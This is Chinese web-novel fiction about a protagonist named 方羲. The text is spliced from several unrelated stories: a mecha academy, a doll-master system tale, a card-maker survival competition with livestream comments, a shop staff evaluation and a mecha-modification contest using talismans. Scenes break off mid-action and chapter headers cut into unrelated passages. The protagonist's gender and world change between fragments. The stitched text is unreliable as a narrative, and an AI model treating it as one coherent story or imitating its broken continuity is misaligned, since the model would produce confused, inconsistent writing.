食人藤：…… 方羲好久没翻东西了，这一下反而找出了不少怪有趣的玩意。 沙之圣歌能量场，初降临时是高等能量场，分类在3S级。 是宋白宁早年进入军校，突然降临的特殊任务。 那时候宋白宁还是分析师，第二年她转到召唤系，成为强攻手。 在星际联赛后，前三名可以获得边境军的高等级能量场体验卡。 那时候，沙之圣歌已经成为了十大顶级能量场之一。 方羲刚想去找一下这部分的星网影像，登上星网，就收到了99+的消息，点开学院板块，才发现杨琴鹤拉了个匿名文件分享。 上传了两个影像资料。 这是方羲在听过无数次宋白宁的大名后，第一次见到本尊，虽然只是在影像里。 宋白宁驾驶的是一架纯白的机甲，能量体的血溅在机甲上，能顺着光滑的表面流下来，丝毫不会留下痕迹。 她的武器是一架枪炮和一把重刀。 作为分析师时，方羲看到，好几次宋白宁的动作，是要冲上去。 但都被身边的边境军拉住。 “分析师报点，我们上。” 宋白宁周围的三位边境军奔袭上前，留她和一名单兵停留原地，两人看了一眼，单兵咳嗽一声，提醒她：“别看我，看晶的位置。” 宋白宁驾驶机甲转头，默默在频道点上定位。 “我觉得有点不对。” 三名输出在前方激战，宋白宁在原地坐下，枪炮架起在肩上，单兵看了眼她的姿态，悠闲中又带着点防备，“哪里不对？” “我脚底下不对。” 宋白宁悠然自若的答道。 说着，她调转枪炮口，对准机甲脚底。 单兵被她动作吓了一跳，“你要做什么？” “这样。” 方羲听到一个女声漫不经心的道。 “我数一二三，我们起飞。” 单兵还没回答，听到她开始数： “一” “二” “三！” 一声炮响，巨大的火球砸进沙砾之中，宋白宁凌空，单兵茫然中跟上。 原地的沙土突然朝着中央，唰一下被吸空，地底出现一个大洞，另一边，正在和三名输出激战的能量体，突然朝沙土之中猛地一钻。 宋白宁再度架炮，枪炮朝着洞口，掐着点轰出去。 沙蛇刚从洞口探出半个身躯，还没张嘴，就被迎面而来的炮弹，直接给锤进沙土之中，半个脑袋直接被炸碎。 “飞喽！” 宋白宁雀跃的道。 单兵看傻了眼，还没反应，就看见分析师很快上前。 重刀一转，疾速下落，刀身在沙蛇碎掉的脑袋上狠狠一拍。 另一半脑袋都要被拍碎了，然后她横刀一切，从蛇腹位置，挖出一颗黄色能量晶。 方羲赞同的点头，宋白宁的作战意识很强，时机把握得很完美，再晚一步，沙蛇能及时躲开，早一步，对方会隐匿在沙土之中。 听着影像里，其他人后怕的叮嘱，方羲失神的想道，谁说分析师战斗能力差、就得被输出们保护、最好加防御点的。 这不是很好打吗。 人不行别怪路不平。 方羲嚣张的想道，但很快她挥了挥手，意识到自己是个单兵，不再想分析师到底要不要占输出位。 两个影像看完后，方羲在教务办的作业集汇中，找到了关于沙之圣歌能量场的详情分析，看完这些，她还去看了看其他作业的答题模板。 大概有了解后，又去补了分析师基础的功课，这才开始着手完成作业。 等到转入夜间，光脑手环提醒她要进行军训项目。 方羲才在座位上，活动了一下僵硬的脊椎，发酸的手腕和肩胛。 把看过的星际编年史，机甲起源，分析师基础等等有关的书，全部放回原位，准备去完成军训任务。 体能训练后，方羲还有虚拟战场特训，在全息训练室内。 七院的全息训练室有一栋单独的大楼，但架不住人多，每一次都要提前预约，不然很容易爆满。 也因此，很多人会选择，在全息训练室满员后，前往后山的虚拟能量场训练。 七院内经常能听到炸山的声音，多半是这些人的手笔。 方羲在全息训练舱内找到军训项目，完成过程和入学考核一样，就是锻炼锁敌和杀敌能力。 这对方羲来说，就像喝水吃饭一样自然的东西，只是把异种换成能量体。 能量体长的比异种清秀多了。 而且，夜晚时，方羲从虚拟训练室出来，突然意识到，能量体的能量晶位置还挺明显的。 她想到。 但下意识归因于是军训项目刚开始，给予了她新手保护期，没太在意。 晚上，完成作业的最后一点内容，方羲进入了睡眠。 方羲在单兵系的第一节 课在下午。 但在七院，二四六的早上有早训内容，方羲早早起床，早训的体力训练完成后，趁着上午没课，也没有代课内容。 先是把顾妗雪放在客厅窗台上的胡萝卜苗，拿起旁边施肥的东西，小心翼翼的浇了点营养肥料。 然后就开始准备维修师证的考核科目。 维修师证的考试还有一个多月，足够方羲学一下理论知识，至于实操项目，她还是非常自信的。 单兵系，明理楼。 方羲坐在靠窗的位置，抬眸能看到校园内栽种的景观树，每一棵上面都挂着专属吊牌，印着种植人的名字。 这是生物系的传统，每一个加入烛荆府生物系的新生，都可以在烛荆府内种一棵挂着自己名字的树。 一年级单兵系的课程刚开始没多久，才经过开学过渡期，现在正好是讲新知识的时候。 单兵系的一节课，有分析师两节课那么长，前半程讲理论，后半程是实战格斗。 方羲的作战能力来自废土，讲究一个快准狠，一击必中，有时候甚至自损八百，也要伤敌一千，更加针对异种。 单兵系的格斗理论来自边境军区，针对能量体，更讲究辅助和掩护，防御类功课。 是方羲不了解的地方。 从老师讲课开始，方羲看着他和教学机器人的模拟内容，盯着对方的举动，看得认真。 狄谦教授单兵格斗基础这门课有五年。 因为前期和基础军校内容有部分重合，刚开始很少有学生能够察觉出基础格斗和单兵格斗的不同。 一般这时候，狄谦都会阴险的暗笑。 因为之后的格斗中段考就会让这群骄傲自满的小家伙们知道，单兵格斗值得单开一门课是有原因的。 但他今天，在散漫的课堂里，发现了一个异类。 对方坐在不起眼的角落，周围的目光不时的打量她，关于她的议论的声音，却完全无法影响她对课堂的专注。 甚至，狄谦每一次的动作，打出来的时候，还能感觉到对方的审视。 我瞧瞧所谓的格斗是不是有这么厉害。 狄谦在脑海中，给这种如芒在背的感觉配上一个沙哑的女声。 已经退役五年的年轻单兵，脊背更挺直，肌肉更紧绷。 每一次挥拳都带着强劲的拳风，肌肉和骨骼碰撞在机器人的金属躯体上，砸出一声声闷响。 一个讲台险些阻挡了他的发挥。 直到方羲看出这套格斗之中的关窍，找到了能够攻击他的命门，才稍微放松了思考。 狄谦感觉到背后紧盯的眼神似乎转移，刚松了一口气，握紧的拳头卸了卸力，正好这时候转身，抬腿横踢，目光扫过下面的学生时，对上窗边微微皱眉的短发女生。 那一刻好像看到了严厉的长官似的。 他瞬间激灵，握紧拳，挡住机器人扫来的攻击，横踢的大长腿踹在机器人胸前，借力抬起另一只腿，猛的踹向机器人的头部。 “砰！” 飞踹出的教学机器人的脑袋，被戒尺扫过的蓝色光幕拦截下来。 “请注意教学安全。” 戒尺内传来一个平稳的机械音。 方羲挑了挑眉，有点厉害。 底下的学生左右看了看，前排差点被飞来横祸的学生，还保持着后仰的姿势，见状玩笑道： “教官，我最近还挺老实吧，格斗课也老老实实上了，没做错什么吧？” 狄谦脖子红了红，“意外意外，这机器人怎么这么脆弱。” 狄谦摆正已经断电歇火的机器人，余光瞥了眼窗边，这下看清楚了短发女生的样子。 他心有余悸的呼了口气。 吓死人了，差点以为看到了宋长官。 狄谦被那种审视的目光盯得汗流浃背。 “咳咳，换个机器人，我们继续。” 讲台下的桌子连接教学办，很快通过内部通道传送来一个完好的机器人，狄谦继续教学。 刚放好教具，楼下突然传来一阵礼炮声，五色的烟火在校门喷射，人声如同沸水，一瞬间就炸开，欢呼和哽咽，隔的老远都能听到。 “啊，是学长学姐回来了。” “我看看我看看。” 方羲所在的窗户正好能看到校门的一段路，一群人经过，周围围满了七院的学生，中间的人群里，还有几个穿着医疗防护服，被电动轮椅推着出来的人影。 她注意到人群中耀眼的白色长发。 顾妗雪在一旁走着，没有掺和进荣归故里的学长学姐圈子。 和周围欢欣鼓舞的人群格格不入，看上去有些游离。 方羲看不清她的表情，但想到对方临走前交代的事情，找到顾妗雪的通讯，发了一条消息。 方羲：昨日施肥30g 顾妗雪在人群里，感觉到手腕的震动，看了一眼，清淡的眉眼松了松，看到上方的消息，她点开回复： 顾妗雪：1 在她身后的高个粉毛男生看到了，快步走到她身侧，冷眸扫了一眼，语气冷冷道：“谁啊，聊什么呢？” 顾妗雪笑意一敛，“不关你的事。” 周忱气的一哽，咬着后槽牙：“我给你发消息，三催四请，还是轮回，这人谁啊，你秒回她？” 顾妗雪甩了甩头发，快步和他拉开距离：“关你屁事。” 九百号骤然暴发尖叫：“一千零一，你你你你你什么情况？！” “——你打算把自己真实的左眼，当做人偶的核心材料？” 【铛铛铛！】 【核心材料解锁成功！】 【天哪！你太了不起啦！虽然专属系统很难理解你的脑回路，觉得有点难评，但这个铁皮箱里的东西，绝对是当之无愧的核心材料！】 【有谁能说不呢？毕竟这是——收藏家的上帝之左眼！】 第 103 章 第 103 章 提问，明明身为人偶师的一颗眼球，这么一个高贵、优雅、美丽、无所不能、无可匹敌的至高存在，却被遗落在暗无天日的铁箱子，究竟是怎样的一番感受？ 上帝之左眼咳嗽几声，表示这很难评。 因为她只能眼睁睁看着某人翻了半天东西，根本找不到自己在哪，愤怒地几乎想要跳出来，暴打某人一顿！ 哦，当然她没有手和脚，也没有完整的身体，只能注视而无法行动，所以想要暴打人偶师的心愿，似乎有些难以实现。 所以在上帝之左眼被封存的两千个日夜里，无时不刻地在思考。 眼珠子活着的意义究竟是什么？ 而后不等方羲两人开口，钱善静就问道：“你们身上还有治疗卡吗？” 方羲这才注意到牧诏的手紧紧捂着自己的小腹。 他受伤了。 “有。” 方羲当即解下背上的背包，从里面拿出一张空白卡牌和卡笔，就刻画了起来。 看到这一幕，钱善静等人不禁松了一口气。 他们身上的卡牌要么早在比赛结束之前就用光了，要么被河水给卷走了。 所以在这之前，他们很难不担心牧诏会等不到救援赶到。 趁着这个空档，宋约问道：“刚刚从外面经过的，是不是一群变异蚂蚁？” 钱善静：“没错。” “而且它们现在正在大肆搜捕我们。” 所以刚才要不是他们及时把方羲他们拉进来，恐怕他们现在已经凶多吉少了。 “根据我们的推测，这很有可能是一个B级以上的变异蚁群。” “B级以上的变异蚁群？” 宋约两眼一黑。 他们这群手无缚鸡之力的制卡师怎么可能会是B级变异蚁群的对手。 “我们现在该怎么办？” 也就在这个时候，方羲画好了一张E级治疗卡。 他直接上前将那张治疗卡递给了牧诏。 “多谢。” 牧诏直接接过了那张治疗卡，而后用尽最后的力气在卡牌的左下角一按。 下一秒，一道绿光闪过，他手中的卡牌瞬间就消散在了空气之中，紧跟着他小腹上碗口大小的伤口就以肉眼可见的速度愈合了起来，他的呼吸也跟着平缓了不少。 方羲也不由松了一口气，同时再次感叹卡牌的神奇。 钱善静这才继续说道：“我们现在所处的地方是一个地下溶洞，这里到处都是变异蚂蚁，也就是说我们已经被那个变异蚁群包围了，想要逃出生天，只有一个办法——杀掉那个蚁皇。” 牧诏接着说道：“我推测这个蚁群的蚁皇很有可能正处于蜕壳期，证据就是，明明我们只是一群低阶制卡师，它却表现的非常忌惮我们，派出了非常多的人手来搜捕我们，但它本人却没有动手。” “不过这个蚁皇显然非常贪婪，它的这些手下普遍都是F级和E级，这说明它吞噬了蚁群的绝大多数资源，只分给了其他变异蚂蚁很少一部分资源。” 也正因为它的这些手下等级太低，几乎没有多少智商可言，所以他们刚刚只是往方羲两人身上抹了一些从那些摔死的变异蚂蚁身上掏出来的血肉，就轻而易举的骗过了它们的鼻子，让它们误以为它们之前判断错了，然后直接走了。 钱善静：“也就是说，我们现在想要接近蜕壳期的蚁皇其实并不难。” 宋约：“可是就算我们能够冲到蚁皇面前，也不可能会是它的对手，哪怕它现在正处于蜕壳期。” 蜕壳期的B级那也是B级啊！ 而他们这些制卡师，如果没有卡牌，加起来恐怕连一只最低级的F级变异蚂蚁都打不过。 钱善静：“你说的没错。” “所以我们现在必须要想个办法。” 可是在眼下这种山穷水尽的情况下，他们显然想不出什么好办法。 要不然他们也就不会还待在这里了。 也就在这个时候，方羲突然开口道：“我身上还有一些异核，外面的河道里应该也能收集到不少的异核。” 牧诏当即转头看向他：“异核在超高温下会爆炸，你的意思是，用异核充当卡牌，去轰炸蚁皇？” “这的确是个好主意。” 钱善静却皱起了眉头：“可是只有B级的烈焰卡才能释放出超过五千度的烈焰。” 可是他们在场的人里，等级最高的就是她这个D级制卡师。 方羲想了想：“如果我们只需要一束和异核大小差不多的，温度超过五千度的火光呢。” 但是钱善静等人绞尽脑汁，也没能在记忆中翻找出能够做出这样的效果的卡牌。 于是众人不约而同的转头看向了牧诏。 牧诏沉了沉气：“我可以试一试。” 什么样的纹路在组合之后，能够瞬间释放出超过五千度的火光。 牧诏拿过一个石子在地上刻画了起来。 十分钟后，一幅完整的图案就出现在了地面之上。 所有人都围了上来。 但牧诏并没有停下，他又从另一个角度出发，在旁边刻画了一幅新的图案。 又过了十分钟，他在这两幅图案的基础上，再次刻画出了一幅新的图案。 宋约迫不及待：“好了吗？” 牧诏却并没有回话，连带着他的眉头也皱了起来。 他的目光再次回到第一幅图案上。 几分钟后，他擦掉了第一幅图案上的一些图文，又重新画了一些图文上去。 然后是第二幅图案。 到了第三幅图案的时候，他直接把整幅图案都擦掉了，重新画了一遍。 可是几分钟后，他又把目光投向了第一幅图案，然后继续刚才的操作。 就这样在他的擦擦补补中，宋约等人的脚都快要站麻了。 他们的心也慢慢地焦躁了起来。 就这样又过了半个小时，牧诏终于没有再擦擦补补了，但是他看着最后一幅图案，却依旧没有开口。 最主要的是，他的眉头也已经拧紧了。 再加上外面时不时就有一队变异蚂蚁经过，钱善静等人已经有些坐不住了。 也就在这个时候，半蹲在地上，一直没有什么动作的方羲突然用手指向第三幅图案右下角的某一处图纹说道：“这里是不是有点问题？” 他的手往上指了指：“这一部分图纹的作用应该是压缩异能力。” 他的手又往下指了指：“这一部分图纹的作用是禁锢住异能力。” “但是你选择的材料似乎是铁……罐？” 不等方羲再开口，牧诏已经反应了过来，他的目光直接看向右上角，迅速计算起来。 预测这条地下暗河里的温度不会超过十五度，在这样一个温度下，E级卡刻画出来的铁罐的抗压能力不会超过2.1兆帕，它正好能够禁锢住卡牌里的异能力。 但是卡牌在触发的瞬间，卡牌里的温度会上升，所以到时候，铁罐很有可能在异能力还没有释放出去之前，就先爆炸了。 那到那时，这张卡牌炸的就不是蚁皇，而是使用这张卡牌的人了。 所以他应该再在上面加上一道禁锢图纹。 方羲：“或者只是把铁罐的厚度增加一些，确保它在异能力被激发之后才爆炸，到时候炸开的铁片，也能再带给蚁皇一些伤害。” 牧诏接着想到。 那是不是还可以再在铁罐里加上一些钢珠…… 可是该怎么把这些纹路加上去呢？ 毕竟原本的图纹已经将卡牌占满了。 方羲：“叠加到其他图纹上面去？” 那是D级卡牌才会用到的技巧。 但现在也只能试一试了。 牧诏当即就又拿起了那个小石子。 宋约等人的心也跟着雀跃了起来。 直觉告诉他们，这次牧诏一定能成功。 但他们没想到的是，牧诏的收获还能更多—— 这一次他的动作前所未有的流畅，即便是遇到难题，最多也就是思考个十几秒钟，就顺利度过了。 结果就是，三分钟后，再次停下动作的牧诏，看着地上已然成形的图案，直接就愣住了。 竟然一次就成功了？ 最主要的是，也就在这个时候，他绷紧的灵魂海骤然一松。 几乎是同一时间，察觉到了他周身的气息的变化的钱善静几乎是下意识道：“你晋升到D级了？” 什么？ 其他人也第一时间看向了牧诏。 牧诏这才反应过来。 要知道他原本已经在E级停留了将近一年的时间了。 现在竟然就这么轻而易举的突破了。 他下意识看向旁边的方羲。 只见他笑着说道，脸上的脏污不能掩盖他周身的神采分毫。 “恭喜！” 方羲：“……” 她甚至听见九百号在旁边，嘎嘎大笑的声音。 方羲想了想，真诚地问：“这是你的全名吗？” “当然。”黑壳的星空之书哗啦啦翻页，声音傲慢地说。 第三视角的欧律狄刻，显然也听见了这一切，沉默。 【玩家……是否为其命名？】 它又迟疑地问了一遍。 方羲想了想，本来想省略了前面了一大串赘词，采纳一半的建议，将她命名为“水瓶座”。 但方羲忽然一顿，侧目看了看桌上的泥土小人，九百号。 一千个人的约定，热闹相拥的灵魂……死后也能葬在一个世界的同伴。 “那，你叫一千零二，可以吗？” 第 104 章 第 104 章 上帝之左眼想了想，觉得这似乎也不错，勉强点头答应了。 反倒是，旁边的900，神情看上去更复杂了。也不知道一个泥土小人，是怎么诠释出一副令人感到他心情复杂的表情。 【命名成功！】 方羲看了看工作室四周的杂乱景象，还有被打开的皮箱，招了招手，让一千零二飞过来。 一千零二：“干嘛？” 所以不管是方羲还是牧诏，都没有发现身后的冯晋等人。 冯晋的脸已经扭曲了，因为他怎么可能会认不出欧阳震华的声音。 明明彻底输掉这场比赛的是他，欧阳震华却把电话打给了牧诏—— 没错，在这场比赛里，他们只拿到了三百七十多分，没能进入前二十名，所以被淘汰了。 虽然这其中最主要的原因，是他只拿到了十分。 但这并不妨碍他将这一切归咎到陈通他们身上去 。 在他看来，如果不是陈通他们太废物，没能多得一些积分，他们又怎么可能会输。 最主要的是，他都那样明示他们了，他们这几天却都没有将他引荐给他们的那些兄姐，尤其是钱善静的意思。 以至于他折腾了这么大一圈，到头来一无所获。 但现在这些已经不重要了，重要的是，牧诏还称呼欧阳震华为老师—— 这说明什么？ 说明欧阳震华前脚拒绝了他的拜师，后脚就收下了牧诏—— 这不是在打他的脸又能是什么？ 冯晋的脸都快扭曲了。 两天后，初赛第三场拉开帷幕。 这一场比赛，和之前的两场都不一样。 这一场在野外举行，考察的是制卡师对卡牌的运用能力。 【和往年一样，大赛组委会一共在安于森林公园投放了一千个F级，五百个E级以及十个D级变异动植物，参赛选手需要在只携带求援信号枪，五十张F级空白卡牌、五十张E级空白卡牌和十张D级空白卡牌的情况下，在安于森林公园存活十五天，并尽可能斩杀变异动植物。】 【其中，一个F级变异动植物积五分，一个E级变异动植物积三十分，一个D级变异动植物积一百分。】 【在这之前，第十星系历届星火杯团体赛初赛第三场最好的成绩是一千分。】 【所以你们猜这一次拿下这场冠军的会是谁】 【虽然我很想看到方羲再次登顶，但方羲毕竟还只是一个高二生，又是平民出身，估计都没怎么见到过变异动植物，更别说是捕杀变异动植物了，我猜他这一场恐怕拿不到多少积分，所以我押牧小少爷。】 【有道理，但是楼上你是不是忘了，牧小少爷只是一个E级制卡师呀，就算他在制卡方面再厉害，效率也不可能比得上D级制卡师啊！可是陈贺队就不一样了，他们队可是有两个D级制卡师，所以这一场比赛，我押陈贺队。】 【有道理！】 在这样一种情况下，这天一大早，包括方羲等人在内的二十个小队，一百名参赛选手就被大赛组委会投放到了安于森林公园。 组委会的悬浮车已离开，宋约等人就迅速的将方圆一公里全都侦查了一遍。 “我们的运气很不错，附近没有什么河流，植被也比较稀少。” 这就意味着，这附近在最近这段时间里出现自然变异动植物的几率会非常低，一旦有变异动植物进入到这里，他们很容易就能发现它们的身影。 宋约说：“我们今天就先在这里安营扎寨吧。” “好，” 其他三人的兴致也都非常高昂 因为在这之前，他们都已经接受过相应的训练。 所以在他们看来，这场比赛，不出意外的话，就要靠他们四个来完成了。 他们终于能够派上一些用场了。 方羲自然没有什么意见。 很快，他们就画好了五张E级防护卡，一张F级帆布卡和三张F级斧头卡。 而后方羲负责将帆布裁剪成合适的大小，宋约他们负责砍伐木材，在他们的同心协力下，半个小时后，一个临时庇护所就搭建好了。 因为参赛选手能携带的只有一沓空白卡牌，所以前面两天，几乎所有的参赛选手都会选择先搭建庇护所和制作足够多的卡牌。 转眼来到比赛第三天。 【嚯，五千万观众在线，你们都不用上班睡觉的吗？】 【两天过去了，这些参赛选手都怎么样了？】 【孙建宏队的运气不太好，刚刚落地没多久，防护卡都还没有画好，就碰到了一只E级豹猫，一群人被那只豹猫撵出了两里地不说，还损失了一名队员。】 【陈贺队的运气稍微好一点，虽然先后碰到了四个变异动植物，但都是F级的，所以他们虽然弄得比较狼狈，但也成了目前所有队伍中积分最高的。】 【钱善静队已经画好二十张E级卡牌了。】 【牧诏队已经画好四十张E级卡牌了。】 …… 【方羲队已经画好……嗯……已经复印好一百一十张E级卡牌了。】 【所有的队伍中就属方羲队的运气最好了，抽中的出发点在一处峭壁下面，这两天里没有碰到一个变异动植物。】 【但是他们的运气好像开始坏起来了。】 从第三天开始，方羲等人开始外出搜寻变异动植物的踪迹。 然而直到第三天傍晚时分，他们才搜索到一只F级的遁地鼠。 宋约：“快，快围住它。” 这还是方羲第一次见到野生的变异动物。 怎么说呢，有点可爱。 因为眼前的这只遁地鼠通体雪白，身体却比欧阳瑞的小阿拉斯加还要大上一圈，毛发也非常的旺盛，看起来就像是一团白云。 直到这只遁地鼠发现他们的踪迹，然后第一时间竖起身上的毛发，露出毛发下面密密麻麻的嘴和尖牙，试图把他们吓走。 看到这一幕，方羲：“……” 方羲毫不犹豫把他手里的一张F级爆炎卡扔了出去。 虽然没有打中。 但好在宋约他们的准头还不错，虽然遁地鼠的速度比普通的老鼠的速度还要快上两倍不止，但还是被他们击中了。 宋约从那只被炎爆卡炸的面目全非的遁地鼠的脑子里挖出一颗冬枣大小的石头，心满意足道：“终于开张了。” 接下来，他们一定能捕杀到更多的变异动植物的。 那颗石头可不正是那只遁地鼠的异核。 驭兽可以通过吞噬它达到进化的条件，同时它也是制造高级卡牌的主要原材料之一。 方羲接过它之后，把玩了一小会儿，就扔进了背包里。 但没想到的是，接下来的两天，他们都没有再遇到一个变异动植物。 中途他们甚至还搬了一次庇护所，并且将搜索范围扩大到了方圆十公里。 宋约：“怎么回事？” 比赛第五天傍晚。 因为卡牌协会在每一个被投放进安于森林公园的变异动植物身上都植入了定位芯片，所以直播间里的观众都能够从直播间里看到所有变异动植物的分布图。 【方羲他们的运气也太差了吧，方圆二十公里，除了之前的那只F级遁地鼠，还真就一只变异动植物都没有。】 【今年后勤部的投放工作没有做到位啊，投放的这么不均匀。】 【相比之下，陈贺队虽然打的很狼狈，出去撒个尿都能遇到一只变异动物，但至少他们现在的分数是最高的。】 【现在他们已经不是最高的了，钱善静队刚刚又捕杀了一株E级变异植物，现在分数已经达到了一百五十分，正好超过陈贺队十分。】 【孙建宏队虽然因为失去了一名队员，实力大减，但是因为舍得拼命，所以分数也没有落后其他队太多。】 【相比之下，方羲他们好像是来秋游的？】 【等等，牧诏队的运气好像也差起来了，他们进入方羲队所在的山区了，已经整整一个下午没有发现变异动植物的踪迹了。】 【牧诏决定动用诱捕卡了。】 【现在就动用诱捕卡？这会儿安于森林公园里的变异动植物才被围捕了十分之一不到，万一到时候诱捕过来的变异动植物太多，造成兽潮，他们怎么办？】 【靠，牧小少爷当场改良了F级诱捕卡，现在能被他们诱捕过来的只有蕨类变异植物了。】 【……不愧是牧小少爷。】 【牧小少爷牛逼，我发誓，从今天开始，牧小少爷就是我的偶像了。】 时间很快来到第六天。 【陈贺队再次反超钱善静队，分数达到二百六十分了。】 【孙建宏队紧跟在他们后面，分数也达到二百三十分了。】 【不过他们的卡牌都快消耗了一半了。】 【牧诏队利用诱捕卡，昨天一天之内就捕杀了九只F级变异动植物和两只E级变异动植物，再给他们一天时间，他们就要超过陈贺他们了。】 …… 【所以方羲队现在在干什么？】 【他们又搬家了。】 【他们画了一堆的F级生活类卡牌。】 【他们开始做窝窝头了。】 【？？？】 【他们还真就当他们是来秋游的了？？？】 一时之间，无数观众涌进了方羲队的直播间。 然后他们就看到方羲他们把蒸锅架在了一处十几米高的峭壁下，而他们则是待在了峭壁上面。 没过一会儿，蒸气就上来了，并且在东风的吹拂下，飘了出去。 【？？？？？？】 又过了一会儿，远处突然传来一阵兽嚎，紧跟着，一头F级旋风狗就冲草丛里钻了出来，直接冲向了那口蒸锅。 峭壁上的宋约等人见状，第一时间将手中的炎爆卡扔了下去。 砰砰砰！ 下一秒，那头F级旋风狗就变成了一条死狗。 【？？？？？？？？？】 启明星，早上起来，看到欧阳瑞还没下来，以为欧阳瑞还没有醒来，准备去叫欧阳瑞起床，接过一推门就从欧阳瑞的光脑上看到了这一段的欧阳震华。 和那些观众一样，他下意识道：“那窝窝头有那么香吗？” 效果居然都快赶上诱捕卡了？ 听见这话，小阿拉斯加几乎是脱口而出：“嗷呜！” 那绝对是它吃过的最好吃的狗粮。 欧阳瑞也说道：“当然。” 他又说：“而且爷爷你之前不是也尝过吗？” 欧阳震华：“……” “我什么时候尝过？” 欧阳瑞：“就我上个月的时候带回来的那些窝窝头啊！” 他当时还拿了一碗给欧阳震华品尝。 他记得欧阳震华当时可是一口一个，吃完了之后还直夸方羲的手艺好呢。 欧阳震华艰难说道：“……那是……狗粮？” 优点：很好！非常听话的店员！绝不偷懒！ 缺点：动作缓慢，但可以理解。 【一千零二】 岗位：导购。 优点：嗯……有待观察。 缺点：一言以蔽之，懒惰。 无效店员： 店长白乌鸦（没用的废物）、店员夏青禾（没用的废柴）、店员晨乌橘猫（可爱但没用的吉祥物） 注：以上员工评价，皆由勤劳聪慧的副店长“春醒”亲手填写，与本系统无关。 第 105 章 第 105 章 在开业的当天，凌晨四点，没用的废物店长上线了。 没用的废物店长，与可爱但没用的吉祥物，游荡在小卖部里。 春醒看了她一眼，惊讶地说：“你等会要来帮忙吗？” 方羲深沉地摸摸下巴：“我负责镇守后展厅，万一有玩家想要定制商品呢？” 春醒：“……” 春醒没再理她，移开了视线。 春醒觉得这只是方羲的借口，以她对某人的了解，所谓的定制商品，应该只是摆着好看，做不到每天都营业。 方羲游荡够了，转身回头一千平方米之后的后展厅，大摇大摆地坐着，怀里躺着一只橘色毛绒绒。 主持人看见方羲拿起雨光草提取液，心里就咯噔一声，冒出和弹幕一模一样的疑问，恨不得立刻把直播撤下去。 但个人直播刚切到赛场首页，立刻换就太明显了。在没确定选手真有重大失误前，还得引导好满是疑惑质疑的弹幕。 主持人还没搜肠刮肚想好措辞，很快，屏幕上瘦削少女手握巨笔，符箓挥笔而就，银光呼吸般闪烁一瞬，光彩隐没，只留下机甲上深绿的纹路。 大屏幕上银光如流星闪过，照亮赛场上观众们的眼睛。主持人晃了下神，“这位选手的改造……很美。” 实在看不懂这个年轻机甲师的改造，好不好看还是能夸的！ 嘉宾忽然出声，“这位选手的选择很有趣。我记得她的初赛材料记录里，也有雨光草提取液。” 主持人一怔，“钟校长，您认为这位选手是特意选择了雨光草提取液吗？” “是的。”作为水蓝星机甲大学校长，钟泽自然看得出这一手处理材料方法的价值。 花白短发乱糟糟的瘦老头饶有兴趣地坐直了，盯着屏幕，“我听说部分材料处理到完美状态，使用时会呈现特殊性状。她处理的雨光草提取液可能正是这样。雨光草的活性一直是个难题，也许方羲选手能为我们带来不一样的雨光草。” 主持人心里天平摇摆起来。一会儿想起方羲创造奇迹的初赛成绩，一会儿又觉得方羲实在太年轻。 要只是年轻倒没什么，但——那不还有个“F级精神力”的问题吗！ 主持人瞥了眼安详许多的弹幕，放弃纠结方羲到底能不能获得好成绩，露出完美笑容，“让我们拭目以待。” 没有精彩镜头的话，每个种子选手都只有一小时赛场首页展示时间。方羲既然不是误选，无论之后怎么改造翻车，都不可能在这么点时间里出事吧！？ [哇，刚刚那个突然亮了一下的，你们看见了吗？？？好美啊！] [这是雨光草完美处理状态吗？钟校长说了我才知道ORZ去查了查，好像小季大师直播时说过一次，完美处理的材料效果能成比例增加。呜呜呜好馋完美材料。] [……辱小季大师了啊，这只是“可能”是完美状态。而且雨光草算啥，著名垃圾有害低级材料，完美处理了又怎么样，还是垃圾低级材料，少跨星系碰瓷。] [好了好了看比赛，快看，又是这种花纹！我看直播回放上，萤火星那台森之子7型也画了这个！这是方羲的专属标记吗？接下来是不是就要开始改造了？这次改造度能到多少？激动的心颤抖的手，我准备好截图了！] 观众们瞪大眼睛等着看精彩花样改造，方羲画完符退后看了看。 土黄符纸，别提多熟悉了。要是符墨是红色，就更熟悉了。 画完符箓，方羲的比赛进度就走完了99%。方羲没洗笔，拎着还剩一小半的雨光草提取液，乘升降台转了个弯，来到机甲正面，打开驾驶舱。 原野一型机甲驾驶舱不大，一台半包围蛋形坐椅被紧紧固定在中心位置。 在光学屏幕和机甲系统完整开启前，方羲手疾眼快及时按上操作台，切换成节能维修模式。 机甲以精神力操作，但如臂指使的机甲也少不了机械指令协助。 星际机甲师入门课本：《材料学》、《机甲基础指令》、《机甲构成入门》。 方羲不必仔细回忆，一口气输完动作指令，关闭机甲，极限节省能源。 新输入的指令，等上场比赛前启动机甲时，会自动运行。防御不仅仅是外甲材料和机甲架构稳定性的挑战，能源能维持多久防御，也是一大考验。能省一点是一点。 从方羲进改造间到现在，刚过半小时，其中还包括了看题目。 方羲的比赛到此结束，接下来就都是属于她的时间了。 方羲拿起笔，走到机甲蛋形坐椅身后，捏诀画起新的符箓。 聚灵符放得离修士越近越好，把信号放大器机甲看做“修士”，聚灵符都放到丹田（驾驶舱）了，没有比这个更近的了！ 银光再现，银光闪闪的聚灵符在椅背亮起，放大版符箓立刻开始聚集周围灵气。 有用！ 说机甲是“信号放大器”，一点没错。方羲明显感觉到这次聚集的灵气，比之前单独画符多多了，立刻坐好开始修行。 [报——进机甲驾驶舱了！] [开始设置基础指令了！] [坐好了！方羲拿笔了！她……欸？她闭上眼睛做什么？] 一秒，两秒，一分钟，两分钟…… 直播大屏幕上镜头从俯瞰整个机甲拉近，机甲舱门打开，露出一动不动闭目坐在机甲驾驶位的少女。 观众眼睛都快瞪掉出来了，十分钟过去，硬是没看到方羲起来改造一个机甲部件。 弹幕缓缓打出一个问号：[她、她不会是睡着了吧？] 主持人后悔刚刚没切换直播间了。怎么有人能这么迅速地离大谱啊！ 主持人赶紧道，“精神力检查机甲状态，也是机甲师们常用方法之一。看来我们的方羲选手还需要一会时间，接下来让我们看看下一位选手……” [？？？不是，哪个正常机甲师会在比赛里睡觉啊！] [……主持人拿工资真不容易。高情商：精神力检查机甲，低情商：睡着了。精神力检查机甲，那也得是机甲开启状态才好检查啊！] [题目这么难，我看着方羲就是改造错误没法修补，或者发现自己改不了，直接快进到自暴自弃摆烂。偏科机甲师就是不行，方羲还发什么“接各类改造”吹牛，这下好了，牛皮吹破了，老老实实回去做她的加速改造吧。] [啧，刚才还在说萤火星黑马奇迹再现，现在是挺现的，成绩昙花一现，丢人丢到全星系的现眼包一枚~] [不应该啊，看方羲状态挺好的，一点也不担心的样子。会不会是她精神力消耗完了，休息等精神力回复？早说了吧，F级那点精神力够做什么？绝对是拿错成雨光草了，处理完才发现！] 